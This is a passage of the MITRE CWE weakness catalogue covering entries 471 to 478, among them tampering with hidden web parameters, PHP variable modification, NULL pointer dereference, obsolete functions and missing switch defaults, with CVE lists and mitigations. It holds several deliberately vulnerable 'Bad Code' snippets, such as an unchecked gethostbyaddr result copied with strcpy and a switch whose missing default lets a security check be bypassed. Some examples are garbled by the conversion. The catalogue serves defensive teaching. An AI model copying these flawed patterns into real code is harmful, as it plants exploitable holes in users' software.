ChildOf		913	Improper Control of Dynamically-Managed Code Resources	<b>1000</b>	1336
ChildOf		991	SFP Secondary Cluster: Tainted Input to Environment	<b>888</b>	1390
MemberOf		884	CWE Cross-section	<b>884</b>	1319

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Unsafe Reflection
CERT Java Secure Coding	SEC06-J	Do not use reflection to increase accessibility of classes, methods, or fields

### White Box Definitions

A weakness where code path has:

1. start statement that accepts input
2. end statement that performs reflective operation and where the input is part of the target name of the reflective operation

## CWE-471: Modification of Assumed-Immutable Data (MAID)

Weakness ID: 471 (Weakness Base)

Status: Draft

### Description

#### Summary

The software does not properly protect an assumed-immutable element from being modified by an attacker.

#### Extended Description

This occurs when a particular input is critical enough to the functioning of the application that it should not be modifiable at all, but it is. Certain resources are often assumed to be immutable when they are not, such as hidden form fields in web applications, cookies, and reverse DNS lookups.

#### Time of Introduction

- Implementation
- Architecture and Design

#### Applicable Platforms

##### Languages

- Language-independent

#### Common Consequences

##### Integrity

##### Modify application data

Common data types that are attacked are environment variables, web application parameters, and HTTP headers.

##### Integrity

##### Unexpected state

#### Demonstrative Examples

In the code excerpt below, an array returned by a Java method is modified despite the fact that arrays are mutable.

##### Java Example:

*Bad Code*

```
String[] colors = car.getAllPossibleColors();
colors[0] = "Red";
```

#### Observed Examples

Reference	Description
CVE-2002-1757	Relies on \$PHP_SELF variable for authentication.
CVE-2005-1905	Gain privileges by modifying assumed-immutable code addresses that are accessed by a driver.

#### Potential Mitigations

##### Architecture and Design

##### Operation

##### Implementation

When the data is stored or transmitted through untrusted sources that could modify the data, implement integrity checks to detect unauthorized modification, or store/transmit the data in a trusted location that is free from external influence.

## Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf	C	19	Data Handling	699	18
ChildOf	G	664	Improper Control of a Resource Through its Lifetime	1000	1026
ChildOf	C	991	SFP Secondary Cluster: Tainted Input to Environment	888	1390
ParentOf	V	291	Reliance on IP Address for Authentication	1000	517
CanFollow	B	425	Direct Request ('Forced Browsing')	1000	727
RequiredBy	A	426	Untrusted Search Path	1000	729
ParentOf	B	472	External Control of Assumed-Immutable Web Parameter	699	793
ParentOf	V	473	PHP External Variable Modification	699	796
CanFollow	B	602	Client-Side Enforcement of Server-Side Security	1000	947
ParentOf	V	607	Public Static Final Field References Mutable Object	699	953
CanFollow	B	621	Variable Extraction Error	1000	969

## Relationship Notes

MAID issues can be primary to many other weaknesses, and they are a major factor in languages that provide easy access to internal program constructs, such as PHP's `register_globals` and similar features. However, MAID issues can also be resultant from weaknesses that modify internal state; for example, a program might validate some data and store it in memory, but a buffer overflow could overwrite that validated data, leading to a change in program logic.

## Theoretical Notes

There are many examples where the MUTABILITY property is a major factor in a vulnerability.

## Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Modification of Assumed-Immutable Data

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
171	Variable Manipulation	
264	Environment Variable Manipulation	
265	Global variable manipulation	
384	Application API Message Manipulation via Man-in-the-Middle	
385	Transaction or Event Tampering via Application API Manipulation	
386	Application API Navigation Remapping	
387	Navigation Remapping To Propagate Malicious Content	
388	Application API Button Hijacking	

## CWE-472: External Control of Assumed-Immutable Web Parameter

Weakness ID: 472 (Weakness Base)

Status: Draft

## Description

## Summary

The web application does not sufficiently verify inputs that are assumed to be immutable but are actually externally controllable, such as hidden form fields.

## Extended Description

If a web product does not properly protect assumed-immutable values from modification in hidden form fields, parameters, cookies, or URLs, this can lead to modification of critical data. Web applications often mistakenly make the assumption that data passed to the client in hidden fields or cookies is not susceptible to tampering. Improper validation of data that are user-controllable can lead to the application processing incorrect, and often malicious, input.

For example, custom cookies commonly store session data or persistent data across sessions. This kind of session data is normally involved in security related decisions on the server side,

such as user authentication and access control. Thus, the cookies might contain sensitive data such as user credentials and privileges. This is a dangerous practice, as it can often lead to improper reliance on the value of the client-provided cookie by the server side application.

### Alternate Terms

#### Assumed-Immutable Parameter Tampering

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Integrity

##### Modify application data

Without appropriate protection mechanisms, the client can easily tamper with cookies and similar web data. Reliance on the cookies without detailed validation can lead to problems such as SQL injection. If you use cookie values for security related decisions on the server side, manipulating the cookies might lead to violations of security policies such as authentication bypassing, user impersonation and privilege escalation. In addition, storing sensitive data in the cookie without appropriate protection can also lead to disclosure of sensitive user data, especially data stored in persistent cookies.

### Demonstrative Examples

#### Example 1:

Here, a web application uses the value of a hidden form field (accountID) without having done any input validation because it was assumed to be immutable.

#### Java Example:

*Bad Code*

```
String accountID = request.getParameter("accountID");
User user = getUserFromID(Long.parseLong(accountID));
```

#### Example 2:

Hidden fields should not be trusted as secure parameters. An attacker can intercept and alter hidden fields in a post to the server as easily as user input fields. An attacker can simply parse the HTML for the substring:

#### HTML Example:

*Bad Code*

```
< input type "hidden"
or even just "hidden". Hidden field values displayed later in the session, such as on the following page, can open a site up
to cross-site scripting attacks.
```

### Observed Examples

Reference	Description
CVE-2000-0101	Shopping cart allows price modification via hidden form field.
CVE-2000-0102	Shopping cart allows price modification via hidden form field.
CVE-2000-0253	Shopping cart allows price modification via hidden form field.
CVE-2000-0254	Shopping cart allows price modification via hidden form field.
CVE-2000-0758	Allows admin access by modifying value of form field.
CVE-2000-0926	Shopping cart allows price modification via hidden form field.
CVE-2000-1234	Send email to arbitrary users by modifying email parameter.
CVE-2002-0108	Forum product allows spoofed messages of other users via hidden form fields for name and e-mail address.
CVE-2002-1880	Read messages by modifying message ID parameter.
CVE-2005-1652	Authentication bypass by setting a parameter.
CVE-2005-1682	Modification of message number parameter allows attackers to read other people's messages.
CVE-2005-1784	Product does not check authorization for configuration change admin script, leading to password theft via modified e-mail address field.
CVE-2005-2314	Logic error leads to password disclosure.



## Potential Mitigations

### Implementation

#### Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."








Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Implementation

#### Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

## Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		471	Modification of Assumed-Immutable Data (MAID)	<b>699</b>	792 1000
ChildOf		642	External Control of Critical State Data	<b>1000</b>	993
ChildOf		715	OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference	<b>629</b>	1113
ChildOf		722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	<b>711</b>	1116
ChildOf		991	SFP Secondary Cluster: Tainted Input to Environment	<b>888</b>	1390
RequiredBy		384	<a href="#">Session Fixation</a>	1000	663
CanFollow		656	<a href="#">Reliance on Security Through Obscurity</a>	1000	1015

## Relationship Notes

This is a primary weakness for many other weaknesses and functional consequences, including XSS, SQL injection, path disclosure, and file inclusion.

## Theoretical Notes

This is a technology-specific MAID problem.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Web Parameter Tampering
OWASP Top Ten 2007	A4	CWE More Specific	Insecure Direct Object Reference
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
31	Accessing/Intercepting/Modifying HTTP Cookies	
39	Manipulating Opaque Client-based Data Tokens	
146	XML Schema Poisoning	

## References

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 4: Use of Magic URLs, Predictable Cookies, and Hidden Form Fields." Page 75. McGraw-Hill. 2010.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 17, "Embedding State in HTML and URLs", Page 1032.. 1st Edition. Addison Wesley. 2006.

## CWE-473: PHP External Variable Modification

Weakness ID: 473 (Weakness Variant)

Status: Draft

### Description

#### Summary

A PHP application does not properly protect against the modification of variables from external sources, such as query parameters or cookies. This can expose the application to numerous weaknesses that would not exist otherwise.

#### Time of Introduction

- Implementation

#### Applicable Platforms

##### Languages

- PHP

#### Common Consequences

##### Integrity

##### Modify application data

#### Observed Examples

Reference	Description
CVE-2000-0860	File upload allows arbitrary file read by setting hidden form variables to match internal variable names.
CVE-2001-0854	Mistakenly trusts \$PHP_SELF variable to determine if include script was called by its parent.
CVE-2001-1025	Modify key variable when calling scripts that don't load a library that initializes it.
CVE-2002-0764	PHP remote file inclusion by modified assumed-immutable variable.
CVE-2003-0754	Authentication bypass by modifying array used for authentication.

#### Potential Mitigations

##### Requirements

##### Implementation

Carefully identify which variables can be controlled or influenced by an external user, and consider adopting a naming convention to emphasize when externally modifiable variables are being used. An application should be reluctant to trust variables that have been initialized outside of its trust boundary. Ensure adequate checking is performed when relying on input from outside a trust boundary. Do not allow your application to run with register\_globals enabled. If you implement a register\_globals emulator, be extremely careful of variable extraction, dynamic evaluation, and similar issues, since weaknesses in your emulation could allow external variable modification to take place even without register\_globals.

#### Relationships

Nature	Type	ID	Name	CVSS	Page
CanPrecede		98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	1000	184
ChildOf		471	Modification of Assumed-Immutable Data (MAID)	<b>699</b> <b>1000</b>	792
ChildOf		991	SFP Secondary Cluster: Tainted Input to Environment	<b>888</b>	1390
PeerOf		616	<i>Incomplete Identification of Uploaded File Variables (PHP)</i>	1000	963

#### Relationship Notes

This is a language-specific instance of Modification of Assumed-Immutable Data (MAID). This can be resultant from direct request (alternate path) issues. It can be primary to weaknesses such as PHP file inclusion, SQL injection, XSS, authentication bypass, and others.

#### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	PHP External Variable Modification

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
77	Manipulating User-Controlled Variables	

## CWE-474: Use of Function with Inconsistent Implementations

Weakness ID: 474 (Weakness Base)

Status: Draft

## Description

## Summary

The code uses a function that has inconsistent implementations across operating systems and versions.

## Extended Description

The use of inconsistent implementations can cause changes in behavior when the code is ported or built under a different environment than the programmer expects, which can lead to security problems in some cases.

The implementation of many functions varies by platform, and at times, even by different versions of the same platform. Implementation differences can include:

- Slight differences in the way parameters are interpreted leading to inconsistent results.

- Some implementations of the function carry significant security risks.

- The function might not be defined on all platforms.

- The function might change which return codes it can provide, or change the meaning of its return codes.

## Time of Introduction

- Architecture and Design
- Implementation

## Applicable Platforms

## Languages

- C (Often)
- PHP (Often)
- Language-independent

## Common Consequences

## Other

## Quality degradation

## Varies by context




## Potential Mitigations

## Architecture and Design

## Requirements

Do not accept inconsistent behavior from the API specifications when the deviant behavior increase the risk level.

## Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		398	Indicator of Poor Code Quality	699 700 1000	684
ChildOf		1001	SFP Secondary Cluster: Use of an Improper API	888	1403
ParentOf		589	Call to Non-ubiquitous API	1000	929

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Inconsistent Implementations
Software Fault Patterns	SFP3	Use of an improper API

## CWE-475: Undefined Behavior for Input to API

**Weakness ID:** 475 (*Weakness Base*) **Status:** Incomplete

### Description

#### Summary

The behavior of this function is undefined unless its control parameter is set to a specific value.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Other

##### Quality degradation

##### Varies by context

#### Other Notes

The Linux Standard Base Specification 2.0.1 for libc places constraints on the arguments to some internal functions [21]. If the constraints are not met, the behavior of the functions is not defined. It is unusual for this function to be called directly. It is almost always invoked through a macro defined in a system header file, and the macro ensures that the following constraints are met: The value 1 must be passed to the third parameter (the version number) of the following file system function: `__xmknod` The value 2 must be passed to the third parameter (the group argument) of the following wide character string functions: `__wcstod_internal` `__wcstof_internal` `__wcstol_internal` `__wcstold_internal` `__wcstoul_internal` The value 3 must be passed as the first parameter (the version number) of the following file system functions: `__xstat` `__lxstat` `__fxstat` `__xstat64` `__lxstat64` `__fxstat64`

#### Relationships

Nature	Type	ID	Name	✓	Page
ChildOf		398	Indicator of Poor Code Quality	<b>699</b> <b>700</b>	684
ChildOf		573	Improper Following of Specification by Caller	<b>1000</b>	910
ChildOf		998	SFP Secondary Cluster: Glitch in Computation	<b>888</b>	1393

#### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Undefined Behavior
Software Fault Patterns	SFP1	Glitch in computation

## CWE-476: NULL Pointer Dereference

**Weakness ID:** 476 (*Weakness Base*) **Status:** Draft

### Description

#### Summary

A NULL pointer dereference occurs when the application dereferences a pointer that it expects to be valid, but is NULL, typically causing a crash or exit.

#### Extended Description

NULL pointer dereference issues can occur through a number of flaws, including race conditions, and simple programming omissions.

#### Time of Introduction

- Implementation

#### Applicable Platforms

##### Languages

- C
- C++
- Java

- .NET

## Common Consequences

### Availability

#### DoS: crash / exit / restart

NULL pointer dereferences usually result in the failure of the process unless exception handling (on some platforms) is available and implemented. Even when exception handling is being used, it can still be very difficult to return the software to a safe state of operation.

### Integrity

### Confidentiality

### Availability

#### Execute unauthorized code or commands

In very rare circumstances and environments, code execution is possible.

## Likelihood of Exploit

Medium

## Detection Methods

### Automated Dynamic Analysis

#### Moderate

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

### Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

## Demonstrative Examples

### Example 1:

While there are no complete fixes aside from conscientious programming, the following steps will go a long way to ensure that NULL pointer dereferences do not occur.

*Mitigation Code*

```
if (pointer1 != NULL) {
    /* make use of pointer1 */
    /* ... */
}
```

If you are working with a multithreaded or otherwise asynchronous environment, ensure that proper locking APIs are used to lock before the if statement; and unlock when it has finished.

### Example 2:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

### C Example:

*Bad Code*

```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

```
}

```

If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to `gethostbyaddr()` will return `NULL`. Since the code does not check the return value from `gethostbyaddr` (CWE-252), a `NULL` pointer dereference would then occur in the call to `strcpy()`.

Note that this example is also vulnerable to a buffer overflow (see CWE-119).

**Example 3:**

In the following code, the programmer assumes that the system always has a property named "cmd" defined. If an attacker can control the program's environment so that "cmd" is not defined, the program throws a `NULL` pointer exception when it attempts to call the `trim()` method.

**Java Example:**

*Bad Code*

```
String cmd = System.getProperty("cmd");
cmd = cmd.trim();

```

**Example 4:**

This application has registered to handle a URL when sent an intent:

**Java Example:**

*Bad Code*

```
...
IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
...
public class UrlHandlerReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        if("com.example.URLHandler.openURL".equals(intent.getAction())) {
            String URL = intent.getStringExtra("URLToOpen");
            int length = URL.length();
            ...
        }
    }
}

```

The application assumes the URL will always be included in the intent. When the URL is not present, the call to `getStringExtra()` will return `null`, thus causing a `null` pointer exception when `length()` is called.

**Observed Examples**

Reference	Description
CVE-2002-0401	Network monitor allows remote attackers to cause a denial of service (crash) or execute arbitrary code via malformed packets that cause a <code>NULL</code> pointer dereference.
CVE-2002-1912	large number of packets leads to <code>NULL</code> dereference
CVE-2003-1000	Chat client allows remote attackers to cause a denial of service (crash) via a passive DCC request with an invalid ID number, which causes a <code>null</code> dereference.
CVE-2003-1013	Network monitor allows remote attackers to cause a denial of service (crash) via a malformed Q.931, which triggers a <code>null</code> dereference.
CVE-2004-0079	SSL software allows remote attackers to cause a denial of service (crash) via a crafted SSL/TLS handshake that triggers a <code>null</code> dereference.
CVE-2004-0119	OS allows remote attackers to cause a denial of service (crash from <code>null</code> dereference) or execute arbitrary code via a crafted request during authentication protocol selection.
CVE-2004-0365	Network monitor allows remote attackers to cause a denial of service (crash) via a malformed RADIUS packet that triggers a <code>null</code> dereference.
CVE-2004-0389	Server allows remote attackers to cause a denial of service (crash) via malformed requests that trigger a <code>null</code> dereference.
CVE-2004-0458	Game allows remote attackers to cause a denial of service (server crash) via a missing argument, which triggers a <code>null</code> pointer dereference.
CVE-2005-0772	packet with invalid error status value triggers <code>NULL</code> dereference
CVE-2005-3274	race condition causes a table to be corrupted if a timer activates while it is being modified, leading to resultant <code>NULL</code> dereference; also involves locking.

Reference	Description
CVE-2008-3597	chain: game server can access player data structures before initialization has happened leading to NULL dereference
CVE-2008-5183	chain: unchecked return value can lead to NULL dereference
CVE-2009-0949	chain: improper initialization of memory can lead to NULL dereference
CVE-2009-2692	chain: uninitialized function pointers can be dereferenced allowing code execution
CVE-2009-2698	chain: IP and UDP layers each track the same value with different mechanisms that can get out of sync, possibly resulting in a NULL dereference
CVE-2009-3547	chain: race condition might allow resource to be released before operating on it, leading to NULL dereference
CVE-2009-3620	chain: some unprivileged ioctls do not verify that a structure has been initialized before invocation, leading to NULL dereference
CVE-2009-4895	chain: race condition for an argument value, possibly resulting in NULL dereference

## Potential Mitigations

### Implementation

If all pointers that could have been modified are sanity-checked previous to use, nearly all NULL pointer dereferences can be prevented.

### Requirements

The choice could be made to use a language that is not susceptible to these issues.

### Implementation

#### Moderate

Check the results of all functions that return a value and verify that the value is non-null before acting upon it.

Checking the return value of the function will typically be sufficient, however beware of race conditions (CWE-362) in a concurrent environment.

This solution does not handle the use of improperly initialized variables (CWE-665).

### Architecture and Design

Identify all variables and data stores that receive information from external sources, and apply input validation to make sure that they are only initialized to expected values.

### Implementation

Explicitly initialize all your variables and other data stores, either during declaration or just before the first usage.

### Testing











Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

## Weakness Ordinalities

**Resultant** (where the weakness is typically related to the presence of some other weaknesses)

NULL pointer dereferences are frequently resultant from rarely encountered error conditions, since these are most likely to escape detection during the testing phases.

## Relationships

Nature	Type	ID	Name			Page
ChildOf		398	Indicator of Poor Code Quality	<b>699</b> <b>700</b> <b>1000</b>		684
ChildOf		465	Pointer Issues	699		782
ChildOf		730	OWASP Top Ten 2004 Category A9 - Denial of Service	<b>711</b>		1120
ChildOf		737	CERT C Secure Coding Section 03 - Expressions (EXP)	<b>734</b>		1131
ChildOf		742	CERT C Secure Coding Section 08 - Memory Management (MEM)	734		1134
ChildOf		808	2010 Top 25 - Weaknesses On the Cusp	<b>800</b>		1244
ChildOf		867	2011 Top 25 - Weaknesses On the Cusp	<b>900</b>		1310
ChildOf		871	CERT C++ Secure Coding Section 03 - Expressions (EXP)	868		1312



Nature	Type	ID	Name	V	GO	Page
ChildOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868		1314
ChildOf	C	971	SFP Secondary Cluster: Faulty Pointer Use	888		1381
CanFollow	B	252	Unchecked Return Value	1000	690	446
MemberOf	V	630	Weaknesses Examined by SAMATE	630		980
CanFollow	V	789	Uncontrolled Memory Allocation	1000		1211
MemberOf	V	884	CWE Cross-section	884		1319

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Null Dereference
CLASP			Null-pointer dereference
PLOVER			Null Dereference (Null Pointer Dereference)
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service
CERT C Secure Coding	EXP34-C		Ensure a null pointer is not dereferenced
CERT C Secure Coding	MEM32-C		Detect and handle memory allocation errors
CERT C++ Secure Coding	EXP34-CPP		Ensure a null pointer is not dereferenced
CERT C++ Secure Coding	MEM32-CPP		Detect and handle memory allocation errors
Software Fault Patterns	SFP7		Faulty Pointer Use

### White Box Definitions

A weakness where the code path has:

1. start statement that assigns a null value to the pointer
2. end statement that dereferences a pointer
3. the code path does not contain any other statement that assigns value to the pointer

## CWE-477: Use of Obsolete Functions

Weakness ID: 477 (Weakness Base)

Status: Draft

### Description

#### Summary

The code uses deprecated or obsolete functions, which suggests that the code has not been actively reviewed or maintained.

#### Extended Description

As programming languages evolve, functions occasionally become obsolete due to:

Advances in the language

Improved understanding of how operations should be performed effectively and securely

Changes in the conventions that govern certain operations

Functions that are removed are usually replaced by newer counterparts that perform the same task in some different and hopefully improved way.

#### Time of Introduction

- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Other

##### Quality degradation

#### Detection Methods

### Automated Static Analysis - Binary / Bytecode

#### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Binary / Bytecode Quality Analysis

Cost effective for partial coverage:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

### Manual Static Analysis - Binary / Bytecode

#### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

### Dynamic Analysis with manual results interpretation

#### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Debugger

### Manual Static Analysis - Source Code

#### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Manual Source Code Review (not inspections)

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

### Automated Static Analysis - Source Code

#### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Source Code Quality Analyzer

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

### Automated Static Analysis

#### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Origin Analysis

### Architecture / Design Review

#### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

### Demonstrative Examples

#### Example 1:

The following code uses the deprecated function `getpw()` to verify that a plaintext password matches a user's encrypted password. If the password is valid, the function sets `result` to 1; otherwise it is set to 0.

#### C Example:

*Bad Code*

```
...
getpw(uid, pwdline);
for (i=0; i<3; i++){
    cryptpw=strtok(pwdline, ".");
```

```

pwdline=0;
}
result = strcmp(crypt(plainpw, cryptpw), cryptpw) == 0;
...

```

Although the code often behaves correctly, using the `getpw()` function can be problematic from a security standpoint, because it can overflow the buffer passed to its second parameter. Because of this vulnerability, `getpw()` has been supplanted by `getpwuid()`, which performs the same lookup as `getpw()` but returns a pointer to a statically-allocated structure to mitigate the risk. Not all functions are deprecated or replaced because they pose a security risk. However, the presence of an obsolete function often indicates that the surrounding code has been neglected and may be in a state of disrepair. Software security has not been a priority, or even a consideration, for very long. If the program uses deprecated or obsolete functions, it raises the probability that there are security problems lurking nearby.

### Example 2:

In the following code, the programmer assumes that the system always has a property named "cmd" defined. If an attacker can control the program's environment so that "cmd" is not defined, the program throws a null pointer exception when it attempts to call the "Trim()" method.

#### Java Example:

*Bad Code*

```

String cmd = null;
...
cmd = Environment.GetEnvironmentVariable("cmd");
cmd = cmd.Trim();

```

### Example 3:

The following code constructs a string object from an array of bytes and a value that specifies the top 8 bits of each 16-bit Unicode character.

#### Java Example:

*Bad Code*

```

...
String name = new String(nameBytes, highByte);
...

```

In this example, the constructor may not correctly convert bytes to characters depending upon which charset is used to encode the string represented by `nameBytes`. Due to the evolution of the charsets used to encode strings, this constructor was deprecated and replaced by a constructor that accepts as one of its parameters the name of the charset used to encode the bytes for conversion.

## Potential Mitigations



### Implementation

Refer to the documentation for the obsolete function in order to determine why it is deprecated or obsolete and to learn about alternative ways to achieve the same functionality.

### Requirements

Consider seriously the security implications of using an obsolete function. Consider using alternate functions.

## Relationships

Nature	Type	ID	Name	V	Page
ChildOf		398	Indicator of Poor Code Quality	<b>699</b> <b>700</b> <b>1000</b>	684
ChildOf		1001	SFP Secondary Cluster: Use of an Improper API	<b>888</b>	1403

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Obsolete
Software Fault Patterns	SFP3	Use of an improper API

# CWE-478: Missing Default Case in Switch Statement

Weakness ID: 478 (Weakness Variant)

Status: Draft

**Description****Summary**

The code does not have a default case in a switch statement, which might lead to complex logical errors and resultant weaknesses.

**Extended Description**

This flaw represents a common problem in software development, in which not all possible values for a variable are considered or handled by a given process. Because of this, further decisions are made based on poor information, and cascading failure results. This cascading failure may result in any number of security issues, and constitutes a significant failure in the system.

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- C
- C++
- Java
- .NET

**Common Consequences****Integrity****Varies by context****Alter execution logic**

Depending on the logical circumstances involved, any consequences may result: e.g., issues of confidentiality, authentication, authorization, availability, integrity, accountability, or non-repudiation.

**Demonstrative Examples****Example 1:**

The following does not properly check the return code in the case where the `security_check` function returns a -1 value when an error occurs. If an attacker can supply data that will invoke an error, the attacker can bypass the security check:

**C Example:***Bad Code*

```
#define FAILED 0
#define PASSED 1
int result;
...
result = security_check(data);
switch (result) {
  case FAILED:
    printf("Security check failed!\n");
    exit(-1);
    //Break never reached because of exit()
    break;
  case PASSED:
    printf("Security check passed.\n");
    break;
}
// program execution continues...
...
```

Instead a default label should be used for unaccounted conditions:

**C Example:***Good Code*

```
#define FAILED 0
#define PASSED 1
int result;
...
result = security_check(data);
switch (result) {
  case FAILED:
```

```

printf("Security check failed!\n");
exit(-1);
//Break never reached because of exit()
break;
case PASSED:
printf("Security check passed.\n");
break;
default:
printf("Unknown error (%d), exiting...\n",result);
exit(-1);
}

```

This label is used because the assumption cannot be made that all possible cases are accounted for. A good practice is to reserve the default case for error handling.

### Example 2:

In the following Java example the method `getInterestRate` retrieves the interest rate for the number of points for a mortgage. The number of points is provided within the input parameter and a switch statement will set the interest rate value to be returned based on the number of points.

#### Java Example:

*Bad Code*

```

public static final String INTEREST_RATE_AT_ZERO_POINTS = "5.00";
public static final String INTEREST_RATE_AT_ONE_POINTS = "4.75";
public static final String INTEREST_RATE_AT_TWO_POINTS = "4.50";
...
public BigDecimal getInterestRate(int points) {
    BigDecimal result = new BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);
    switch (points) {
        case 0:
            result = new BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);
            break;
        case 1:
            result = new BigDecimal(INTEREST_RATE_AT_ONE_POINTS);
            break;
        case 2:
            result = new BigDecimal(INTEREST_RATE_AT_TWO_POINTS);
            break;
    }
    return result;
}

```

However, this code assumes that the value of the points input parameter will always be 0, 1 or 2 and does not check for other incorrect values passed to the method. This can be easily accomplished by providing a default label in the switch statement that outputs an error message indicating an invalid value for the points input parameter and returning a null value.

#### Java Example:

*Good Code*

```

public static final String INTEREST_RATE_AT_ZERO_POINTS = "5.00";
public static final String INTEREST_RATE_AT_ONE_POINTS = "4.75";
public static final String INTEREST_RATE_AT_TWO_POINTS = "4.50";
...
public BigDecimal getInterestRate(int points) {
    BigDecimal result = new BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);
    switch (points) {
        case 0:
            result = new BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);
            break;
        case 1:
            result = new BigDecimal(INTEREST_RATE_AT_ONE_POINTS);
            break;
        case 2:
            result = new BigDecimal(INTEREST_RATE_AT_TWO_POINTS);
            break;
        default:
            System.err.println("Invalid value for points, must be 0, 1 or 2");
            System.err.println("Returning null value for interest rate");
            result = null;
    }
}

```

```
return result;
}
```

## Potential Mitigations

### Implementation

Ensure that there are no unaccounted for cases, when adjusting flow or values based on the value of a given variable. In switch statements, this can be accomplished through the use of the default label.

### Implementation

In the case of switch style statements, the very simple act of creating a default case can mitigate this situation, if done correctly. Often however, the default case is used simply to represent an assumed option, as opposed to working as a check for invalid input. This is poor practice and in some cases is as bad as omitting a default case entirely.

## Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

## Relationships

Nature	Type	ID	Name		Page
ChildOf		171	Cleansing, Canonicalization, and Comparison Errors		699 332
ChildOf		398	Indicator of Poor Code Quality		<b>699</b> 684
ChildOf		697	Insufficient Comparison		<b>1000</b> 1078
ChildOf		962	SFP Secondary Cluster: Unchecked Status Condition		<b>888</b> 1376
MemberOf		884	CWE Cross-section		<b>884</b> 1319

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Failure to account for default case in switch
Software Fault Patterns	SFP4	Unchecked Status Condition

## References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 7, "Switch Statements", Page 337.. 1st Edition. Addison Wesley. 2006.

